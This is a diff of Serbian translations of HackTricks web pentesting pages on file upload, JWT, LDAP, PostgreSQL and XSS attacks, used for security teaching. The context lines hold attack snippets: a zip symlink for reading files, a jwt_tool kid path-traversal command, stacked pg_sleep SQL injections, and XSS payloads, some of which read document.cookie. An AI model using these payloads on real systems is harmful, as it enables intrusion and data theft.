* **JS** datoteka **učitavanje** + **XSS** = [**Eksploatacija servisnih radnika**](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
* [**XXE u svg učitavanju**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
* [**Otvoreno preusmeravanje** putem učitavanja svg datoteke](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* Pokušajte **različite svg payloads** sa [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||
* [Poznata **ImageTrick** ranjivost](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
* Ako možete **naznačiti web serveru da uhvati sliku sa URL-a** mogli biste pokušati da zloupotrebite [SSRF](../ssrf-server-side-request-forgery/). Ako će ova **slika** biti **sačuvana** na nekom **javnom** sajtu, mogli biste takođe naznačiti URL sa [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukrasti informacije o svakom posetiocu**.
|
||||
* [**XXE i CORS** zaobilaženje sa PDF-Adobe uploadom](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* Posebno oblikovani PDF-ovi za XSS: [sledeća stranica prikazuje kako da **ubacite PDF podatke da biste dobili izvršenje JS**](../xss-cross-site-scripting/pdf-injection.md). Ako možete učitati PDF-ove mogli biste pripremiti neki PDF koji će izvršiti proizvoljni JS prema datim uputstvima.
|
||||
* [**XXE i CORS** zaobilaženje sa PDF-Adobe učitavanjem](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* Posebno izrađeni PDF-ovi za XSS: [sledeća stranica prikazuje kako da **ubacite PDF podatke da biste dobili izvršenje JS**](../xss-cross-site-scripting/pdf-injection.md). Ako možete učitati PDF-ove mogli biste pripremiti neki PDF koji će izvršiti proizvoljni JS prema datim uputstvima.
|
||||
* Učitajte \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) sadržaj da proverite da li server ima neki **antivirus**
|
||||
* Proverite da li postoji bilo kakvo **ograničenje veličine** prilikom učitavanja datoteka
|
||||
|
||||
|
@ -223,13 +223,13 @@ Evo top 10 liste stvari koje možete postići učitavanjem (sa [ovde](https://tw
|
|||
|
||||
Pogledajte [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) za druge tipove datoteka.
|
||||
|
||||
### Zip/Tar datoteka automatski dekompresovana upload
|
||||
### Zip/Tar datoteka automatski dekompresovana pri učitavanju
|
||||
|
||||
Ako možete učitati ZIP koji će biti dekompresovan unutar servera, možete uraditi 2 stvari:
|
||||
|
||||
#### Symlink
|
||||
|
||||
Učitajte link koji sadrži softverske linkove na druge datoteke, zatim, pristupajući dekompresovanim datotekama, pristupićete povezanim datotekama:
|
||||
Učitajte link koji sadrži mekane linkove ka drugim datotekama, zatim, pristupajući dekompresovanim datotekama, pristupićete povezanim datotekama:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
|
@ -304,7 +304,7 @@ pop graphic-context
|
|||
```
|
||||
## Ugrađivanje PHP Shell-a u PNG
|
||||
|
||||
Ugrađivanje PHP shell-a u IDAT deo PNG datoteke može efikasno zaobići određene operacije obrade slika. Funkcije `imagecopyresized` i `imagecopyresampled` iz PHP-GD su posebno relevantne u ovom kontekstu, jer se obično koriste za promenu veličine i resampling slika, redom. Sposobnost ugrađenog PHP shell-a da ostane nepromenjen ovim operacijama je značajna prednost za određene slučajeve upotrebe.
|
||||
Ugrađivanje PHP shell-a u IDAT deo PNG datoteke može efikasno zaobići određene operacije obrade slika. Funkcije `imagecopyresized` i `imagecopyresampled` iz PHP-GD su posebno relevantne u ovom kontekstu, jer se obično koriste za promenu veličine i uzorkovanje slika, redom. Sposobnost ugrađenog PHP shell-a da ostane nepromenjen ovim operacijama je značajna prednost za određene slučajeve upotrebe.
|
||||
|
||||
Detaljna istraživanja ove tehnike, uključujući njenu metodologiju i potencijalne primene, pružena su u sledećem članku: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Ovaj resurs nudi sveobuhvatno razumevanje procesa i njegovih implikacija.
|
||||
|
||||
|
@ -314,7 +314,7 @@ Više informacija na: [https://www.idontplaydarts.com/2012/06/encoding-web-shell
|
|||
|
||||
Poliglot datoteke služe kao jedinstveni alat u sajber bezbednosti, delujući kao kameleoni koji mogu validno postojati u više formata datoteka istovremeno. Zanimljiv primer je [GIFAR](https://en.wikipedia.org/wiki/Gifar), hibrid koji funkcioniše i kao GIF i kao RAR arhiva. Takve datoteke nisu ograničene na ovu kombinaciju; kombinacije poput GIF i JS ili PPT i JS su takođe izvodljive.
|
||||
|
||||
Osnovna korisnost poliglot datoteka leži u njihovoj sposobnosti da zaobiđu bezbednosne mere koje filtriraju datoteke na osnovu tipa. Uobičajena praksa u raznim aplikacijama podrazumeva dozvoljavanje samo određenih tipova datoteka za upload—poput JPEG, GIF ili DOC—kako bi se smanjio rizik koji predstavljaju potencijalno štetni formati (npr. JS, PHP ili Phar datoteke). Međutim, poliglot, usklađujući se sa strukturnim kriterijumima više tipova datoteka, može tiho zaobići ova ograničenja.
|
||||
Osnovna korisnost poliglot datoteka leži u njihovoj sposobnosti da zaobiđu bezbednosne mere koje filtriraju datoteke na osnovu tipa. Uobičajena praksa u raznim aplikacijama podrazumeva dozvoljavanje samo određenih tipova datoteka za upload—poput JPEG, GIF ili DOC—kako bi se smanjio rizik od potencijalno štetnih formata (npr. JS, PHP ili Phar datoteke). Međutim, poliglot, usklađujući se sa strukturnim kriterijumima više tipova datoteka, može tiho zaobići ova ograničenja.
|
||||
|
||||
Uprkos svojoj prilagodljivosti, poligloti se suočavaju sa ograničenjima. Na primer, dok poliglot može istovremeno predstavljati PHAR datoteku (PHp ARchive) i JPEG, uspeh njegovog upload-a može zavisiti od politika ekstenzija datoteka platforme. Ako je sistem strog u vezi sa dozvoljenim ekstenzijama, sama strukturna dualnost poliglota možda neće biti dovoljna da garantuje njegov upload.
|
||||
|
||||
|
@ -329,7 +329,7 @@ Više informacija na: [https://medium.com/swlh/polyglot-files-a-hackers-best-fri
|
|||
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ako ste zainteresovani za **hacking karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisano i govorno poljski_).
|
||||
|
||||
|
@ -345,7 +345,7 @@ Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hacking trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,7 @@ Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" da
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ako ste zainteresovani za **hakersku karijeru** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||
|
||||
|
@ -52,7 +52,7 @@ Da biste proverili da li se potpis JWT-a verifikuje:
|
|||
|
||||
* Poruka o grešci sugeriše da je verifikacija u toku; osetljive detalje u opširnim greškama treba pregledati.
|
||||
* Promena na vraćenoj stranici takođe ukazuje na verifikaciju.
|
||||
* Nema promene sugeriše da nema verifikacije; ovo je trenutak da eksperimentišete sa manipulacijom tvrdnjama u payload-u.
|
||||
* Nema promene sugeriše da nema verifikacije; tada treba eksperimentisati sa manipulacijom tvrdnjama u payload-u.
|
||||
|
||||
### Izvor
|
||||
|
||||
|
@ -75,7 +75,7 @@ Postavite korišćeni algoritam na "None" i uklonite deo sa potpisom.
|
|||
|
||||
Koristite Burp ekstenziju pod nazivom "JSON Web Token" da biste isprobali ovu ranjivost i promenili različite vrednosti unutar JWT-a (pošaljite zahtev u Repeater i u "JSON Web Token" tabu možete modifikovati vrednosti tokena. Takođe možete odabrati da postavite vrednost polja "Alg" na "None").
|
||||
|
||||
### Promenite algoritam RS256 (asimetrični) na HS256 (simetrični) (CVE-2016-5431/CVE-2016-10555)
|
||||
### Promenite algoritam RS256(asimetrični) na HS256(simetrični) (CVE-2016-5431/CVE-2016-10555)
|
||||
|
||||
Algoritam HS256 koristi tajni ključ za potpisivanje i verifikaciju svake poruke.\
|
||||
Algoritam RS256 koristi privatni ključ za potpisivanje poruke i koristi javni ključ za autentifikaciju.
|
||||
|
@ -96,7 +96,7 @@ Ovo se može uraditi sa "JSON Web Tokens" Burp ekstenzijom.\
|
|||
|
||||
### JWKS Spoofing
|
||||
|
||||
Uputstva detaljno opisuju metodu za procenu sigurnosti JWT tokena, posebno onih koji koriste "jku" zaglavlje. Ovo zaglavlje bi trebalo da se povezuje sa JWKS (JSON Web Key Set) datotekom koja sadrži javni ključ neophodan za verifikaciju tokena.
|
||||
Uputstva detaljno opisuju metodu za procenu bezbednosti JWT tokena, posebno onih koji koriste "jku" zaglavlje. Ovo zaglavlje bi trebalo da se povezuje sa JWKS (JSON Web Key Set) datotekom koja sadrži javni ključ neophodan za verifikaciju tokena.
|
||||
|
||||
* **Procena Tokena sa "jku" Zaglavljem**:
|
||||
* Proverite URL "jku" tvrdnje da biste osigurali da vodi do odgovarajuće JWKS datoteke.
|
||||
|
@ -117,11 +117,11 @@ Opcionalna tvrdnja zaglavlja poznata kao `kid` koristi se za identifikaciju spec
|
|||
|
||||
#### Otkriće Ključa kroz "kid"
|
||||
|
||||
Kada je `kid` tvrdnja prisutna u zaglavlju, preporučuje se pretraga veb direktorijuma za odgovarajuću datoteku ili njene varijacije. Na primer, ako je `"kid":"key/12345"` specificirano, datoteke _/key/12345_ i _/key/12345.pem_ treba pretražiti u veb korenu.
|
||||
Kada je `kid` tvrdnja prisutna u zaglavlju, preporučuje se pretraživanje veb direktorijuma za odgovarajuću datoteku ili njene varijacije. Na primer, ako je `"kid":"key/12345"` specificirano, datoteke _/key/12345_ i _/key/12345.pem_ treba pretražiti u veb korenu.
|
||||
|
||||
#### Putanja Prelaz sa "kid"
|
||||
|
||||
`kid` tvrdnja se takođe može iskoristiti za navigaciju kroz fajl sistem, potencijalno omogućavajući izbor proizvoljne datoteke. Moguće je testirati povezanost ili izvršiti Server-Side Request Forgery (SSRF) napade menjajući `kid` vrednost kako bi se ciljali specifične datoteke ili usluge. Manipulacija JWT-om da se promeni `kid` vrednost dok se zadržava originalni potpis može se postići korišćenjem `-T` oznake u jwt\_tool, kao što je prikazano u nastavku:
|
||||
`kid` tvrdnja se takođe može iskoristiti za navigaciju kroz fajl sistem, potencijalno omogućavajući odabir proizvoljne datoteke. Moguće je testirati povezanost ili izvršiti Server-Side Request Forgery (SSRF) napade menjajući `kid` vrednost kako bi se ciljali specifični fajlovi ili usluge. Manipulacija JWT-om da se promeni `kid` vrednost dok se zadržava originalni potpis može se postići korišćenjem `-T` oznake u jwt\_tool, kao što je prikazano u nastavku:
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
|
@ -252,7 +252,7 @@ Primećeno je da neke web aplikacije oslanjaju na pouzdanu JWT uslugu za generis
|
|||
|
||||
**Provera isteka tokena**
|
||||
|
||||
Istek tokena se proverava korišćenjem "exp" Payload tvrdnje. S obzirom na to da se JWT-ovi često koriste bez informacija o sesiji, potrebna je pažljiva obrada. U mnogim slučajevima, hvatanje i ponovna upotreba JWT-a drugog korisnika moglo bi omogućiti lažno predstavljanje tog korisnika. JWT RFC preporučuje ublažavanje napada ponovnog korišćenja JWT-a korišćenjem "exp" tvrdnje za postavljanje vremena isteka za token. Pored toga, implementacija relevantnih provera od strane aplikacije kako bi se osiguralo procesuiranje ove vrednosti i odbijanje isteka tokena je ključna. Ako token uključuje "exp" tvrdnju i vremenska ograničenja testiranja to dozvoljavaju, savetuje se čuvanje tokena i ponovna upotreba nakon što je vreme isteka prošlo. Sadržaj tokena, uključujući analizu vremenskih oznaka i proveru isteka (vremenska oznaka u UTC), može se pročitati korišćenjem -R opcije jwt\_tool-a.
|
||||
Istek tokena se proverava korišćenjem "exp" Payload tvrdnje. S obzirom na to da se JWT-ovi često koriste bez informacija o sesiji, potrebna je pažljiva obrada. U mnogim slučajevima, hvatanje i ponovna upotreba JWT-a drugog korisnika moglo bi omogućiti lažno predstavljanje tog korisnika. JWT RFC preporučuje ublažavanje napada ponovnog korišćenja JWT-a korišćenjem "exp" tvrdnje za postavljanje vremena isteka za token. Pored toga, implementacija relevantnih provera od strane aplikacije kako bi se osiguralo procesuiranje ove vrednosti i odbijanje istečenih tokena je ključna. Ako token uključuje "exp" tvrdnju i vremenska ograničenja testiranja to dozvoljava, savetuje se čuvanje tokena i ponovna upotreba nakon što je vreme isteka prošlo. Sadržaj tokena, uključujući analizu vremenskih oznaka i proveru isteka (vremenska oznaka u UTC), može se pročitati korišćenjem -R opcije jwt\_tool-a.
|
||||
|
||||
* Bezbednosni rizik može postojati ako aplikacija i dalje validira token, jer to može implicirati da token nikada ne može isteći.
|
||||
|
||||
|
@ -260,7 +260,7 @@ Istek tokena se proverava korišćenjem "exp" Payload tvrdnje. S obzirom na to d
|
|||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
|
|
@ -17,7 +17,7 @@ Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" da
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ako ste zainteresovani za **hakersku karijeru** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||
|
||||
|
@ -224,7 +224,7 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
|||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||
|
||||
|
|
|
@ -15,9 +15,9 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_tečno poznavanje poljskog jezika u pisanju i govoru je obavezno_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_potrebno je tečno pisanje i govorenje poljskog jezika_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -27,11 +27,11 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
|||
|
||||
## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
|
||||
|
||||
**PostgreSQL modul `dblink`** nudi mogućnosti za povezivanje sa drugim PostgreSQL instancama i izvršavanje TCP konekcija. Ove funkcije, u kombinaciji sa `COPY FROM` funkcionalnošću, omogućavaju radnje poput eskalacije privilegija, skeniranja portova i hvatanja NTLM izazova. Za detaljne metode o izvršavanju ovih napada proverite kako da [izvršite ove napade](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||
**PostgreSQL modul `dblink`** nudi mogućnosti za povezivanje sa drugim PostgreSQL instancama i izvršavanje TCP veza. Ove funkcije, u kombinaciji sa `COPY FROM` funkcionalnošću, omogućavaju radnje poput eskalacije privilegija, skeniranja portova i hvatanja NTLM izazova. Za detaljne metode o izvršavanju ovih napada proverite kako da [izvršite ove napade](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||
|
||||
### **Primer eksfiltracije koristeći dblink i velike objekte**
|
||||
### **Primer exfiltracije koristeći dblink i velike objekte**
|
||||
|
||||
Možete [**pročitati ovaj primer**](dblink-lo\_import-data-exfiltration.md) da vidite CTF primer **kako učitati podatke unutar velikih objekata i zatim eksfiltrirati sadržaj velikih objekata unutar korisničkog imena** funkcije `dblink_connect`.
|
||||
Možete [**pročitati ovaj primer**](dblink-lo\_import-data-exfiltration.md) da vidite CTF primer **kako učitati podatke unutar velikih objekata i zatim exfiltrirati sadržaj velikih objekata unutar korisničkog imena** funkcije `dblink_connect`.
|
||||
|
||||
## PostgreSQL napadi: Čitanje/pisanje, RCE, privesc
|
||||
|
||||
|
@ -50,7 +50,7 @@ Manipulacija stringovima može vam pomoći da **zaobiđete WAF-ove ili druge res
|
|||
|
||||
### Stacked Queries
|
||||
|
||||
Zapamtite da PostgreSQL podržava složene upite, ali nekoliko aplikacija će baciti grešku ako se vrate 2 odgovora kada se očekuje samo 1. Ali, i dalje možete zloupotrebiti složene upite putem vremenske injekcije:
|
||||
Zapamtite da PostgreSQL podržava složene upite, ali nekoliko aplikacija će baciti grešku ako se vrate 2 odgovora kada se očekuje samo 1. Ali, još uvek možete zloupotrebiti složene upite putem vremenske injekcije:
|
||||
```
|
||||
id=1; select pg_sleep(10);-- -
|
||||
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
||||
|
@ -65,7 +65,7 @@ SELECT query_to_xml('select * from pg_user',true,true,'');
|
|||
```
|
||||
**database\_to\_xml**
|
||||
|
||||
Ova funkcija će izbaciti celu bazu podataka u XML formatu u samo 1 redu (budite oprezni ako je baza podataka veoma velika jer možete izazvati DoS ili čak vašeg vlastitog klijenta):
|
||||
Ova funkcija će dumpovati celu bazu podataka u XML formatu u samo 1 redu (budite oprezni ako je baza podataka veoma velika jer možete izazvati DoS ili čak vašeg vlastitog klijenta):
|
||||
```sql
|
||||
SELECT database_to_xml(true,true,'');
|
||||
```
|
||||
|
@ -97,9 +97,9 @@ SELECT 'hacktricks';
|
|||
SELECT $$hacktricks$$;
|
||||
SELECT $TAG$hacktricks$TAG$;
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# XSS (Cross Site Scripting)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ako vas zanima **karijera u hakovanju** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||
Ako vas zanima **karijera u hakovanju** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisano i govorno poljski_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -31,7 +31,7 @@ Ako vas zanima **karijera u hakovanju** i da hakujete nehakovano - **zapošljava
|
|||
4. Javascript **funkcija** koja se **izvršava**
|
||||
1. Možete naznačiti ime funkcije koju treba izvršiti. npr.: `?callback=alert(1)`
|
||||
4. Ako je **korisno**:
|
||||
1. Mogli biste iskoristiti **DOM XSS**, obratite pažnju kako se kontroliše vaš unos i da li se vaš **kontrolisani unos koristi od strane bilo kog sinka.**
|
||||
1. Mogli biste iskoristiti **DOM XSS**, obratite pažnju kako se vaš unos kontroliše i da li se vaš **kontrolisani unos koristi od strane bilo kog sinka.**
|
||||
|
||||
Kada radite na složenom XSS-u, možda će vam biti zanimljivo da znate o:
|
||||
|
||||
|
@ -41,9 +41,9 @@ Kada radite na složenom XSS-u, možda će vam biti zanimljivo da znate o:
|
|||
|
||||
## Odražene vrednosti
|
||||
|
||||
Da biste uspešno iskoristili XSS, prva stvar koju treba da pronađete je **vrednost koju kontrolišete koja se odražava** na web stranici.
|
||||
Da biste uspešno iskoristili XSS, prva stvar koju treba da pronađete je **vrednost koju kontrolišete koja se odražava** na veb stranici.
|
||||
|
||||
* **Intermedijarno odraženo**: Ako otkrijete da se vrednost parametra ili čak putanja odražava na web stranici, mogli biste iskoristiti **Reflected XSS**.
|
||||
* **Intermedijarno odraženo**: Ako otkrijete da se vrednost parametra ili čak putanja odražava na veb stranici, mogli biste iskoristiti **Reflected XSS**.
|
||||
* **Skladišteno i odraženo**: Ako otkrijete da je vrednost koju kontrolišete sačuvana na serveru i odražava se svaki put kada pristupite stranici, mogli biste iskoristiti **Stored XSS**.
|
||||
* **Pristupano putem JS**: Ako otkrijete da se vrednost koju kontrolišete pristupa koristeći JS, mogli biste iskoristiti **DOM XSS**.
|
||||
|
||||
|
@ -51,7 +51,7 @@ Da biste uspešno iskoristili XSS, prva stvar koju treba da pronađete je **vred
|
|||
|
||||
Kada pokušavate da iskoristite XSS, prva stvar koju treba da znate je **gde se vaš unos odražava**. U zavisnosti od konteksta, moći ćete da izvršite proizvoljni JS kod na različite načine.
|
||||
|
||||
### Sirov HTML
|
||||
### Sirovi HTML
|
||||
|
||||
Ako se vaš unos **odražava na sirovom HTML** stranici, moraćete da zloupotrebite neki **HTML tag** kako biste izvršili JS kod: `<img , <iframe , <svg , <script` ... ovo su samo neki od mnogih mogućih HTML tagova koje možete koristiti.\
|
||||
Takođe, imajte na umu [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
|
@ -62,8 +62,8 @@ Ako se vaš unos odražava unutar vrednosti atributa taga, mogli biste pokušati
|
|||
|
||||
1. Da **pobegnete iz atributa i iz taga** (onda ćete biti u sirovom HTML-u) i kreirate novi HTML tag za zloupotrebu: `"><img [...]`
|
||||
2. Ako **možete pobjeći iz atributa, ali ne i iz taga** (`>` je kodiran ili obrisan), u zavisnosti od taga mogli biste **kreirati događaj** koji izvršava JS kod: `" autofocus onfocus=alert(1) x="`
|
||||
3. Ako **ne možete pobjeći iz atributa** (`"` se kodira ili briše), onda u zavisnosti od **kojeg atributa** se vaša vrednost odražava **ako kontrolišete celu vrednost ili samo deo**, moći ćete da je zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne. Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
|
||||
4. Ako se vaš unos odražava unutar "**neeksploatabilnih tagova**", mogli biste pokušati trik sa **`accesskey`** da zloupotrebite ranjivost (biće vam potrebna neka vrsta socijalnog inženjeringa da biste to iskoristili): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
3. Ako **ne možete pobjeći iz atributa** (`"` se kodira ili briše), onda u zavisnosti od **koji atribut** se vaša vrednost odražava **ako kontrolišete celu vrednost ili samo deo** moći ćete da je zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga izvršite proizvoljni kod kada se klikne. Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
|
||||
4. Ako se vaš unos odražava unutar "**neiskoristivih tagova**", mogli biste pokušati trik sa **`accesskey`** da zloupotrebite ranjivost (biće vam potrebna neka vrsta socijalnog inženjeringa da to iskoristite): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Čudan primer Angular-a koji izvršava XSS ako kontrolišete ime klase:
|
||||
```html
|
||||
|
@ -174,7 +174,7 @@ Idite na [**https://portswigger.net/web-security/cross-site-scripting/cheat-shee
|
|||
|
||||
### Prilagođeni tagovi
|
||||
|
||||
Ako niste pronašli nijedan validan HTML tag, možete pokušati da **napravite prilagođeni tag** i izvršite JS kod sa `onfocus` atributom. U XSS zahtevu, morate završiti URL sa `#` da biste naterali stranicu da **fokusira na taj objekat** i **izvrši** kod:
|
||||
Ako niste pronašli nijedan validan HTML tag, možete pokušati da **napravite prilagođeni tag** i izvršite JS kod sa atributom `onfocus`. U XSS zahtevu, morate završiti URL sa `#` da biste naterali stranicu da **fokusira na taj objekat** i **izvrši** kod:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
|
@ -280,7 +280,7 @@ Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javasc
|
|||
|
||||
**Zaobilaženje unutar događaja koristeći HTML kodiranje/URL kodiranje**
|
||||
|
||||
**HTML kodirani karakteri** unutar vrednosti atributa HTML oznaka se **dekodiraju u vreme izvršavanja**. Stoga nešto poput sledećeg će biti važeće (payload je u podebljanom): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Vrati se </a>`
|
||||
**HTML kodirani karakteri** unutar vrednosti atributa HTML oznaka se **dekodiraju u vreme izvršavanja**. Stoga nešto poput sledećeg će biti validno (payload je u podebljanom): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Vrati se </a>`
|
||||
|
||||
Napomena da je **svaka vrsta HTML kodiranja validna**:
|
||||
```javascript
|
||||
|
@ -359,7 +359,7 @@ _**U ovom slučaju, HTML kodiranje i trik sa Unicode kodiranjem iz prethodnog od
|
|||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
Pored toga, postoji još jedan **lepi trik** za ove slučajeve: **Čak i ako je vaš unos unutar `javascript:...` URL kodiran, biće URL dekodiran pre nego što se izvrši.** Dakle, ako treba da **izbegnete** iz **niza** koristeći **jednostruki navodnik** i vidite da **je URL kodiran**, zapamtite da **nije važno,** biće **tumačeno** kao **jednostruki navodnik** tokom **vremena izvršenja.**
|
||||
Pored toga, postoji još jedan **lepi trik** za ove slučajeve: **Čak i ako je vaš unos unutar `javascript:...` URL kodiran, biće URL dekodiran pre nego što se izvrši.** Dakle, ako treba da **izbegnete** iz **niza** koristeći **jednostruki navodnik** i vidite da **je URL kodiran**, zapamtite da **to nije važno,** biće **tumačeno** kao **jednostruki navodnik** tokom **vremena izvršenja.**
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
|
@ -381,7 +381,7 @@ Možete koristiti **Hex** i **Octal kodiranje** unutar `src` atributa `iframe` (
|
|||
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
|
||||
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
|
||||
```
|
||||
### Obrnuto nabbing taba
|
||||
### Obrnuto nabbing kartica
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
|
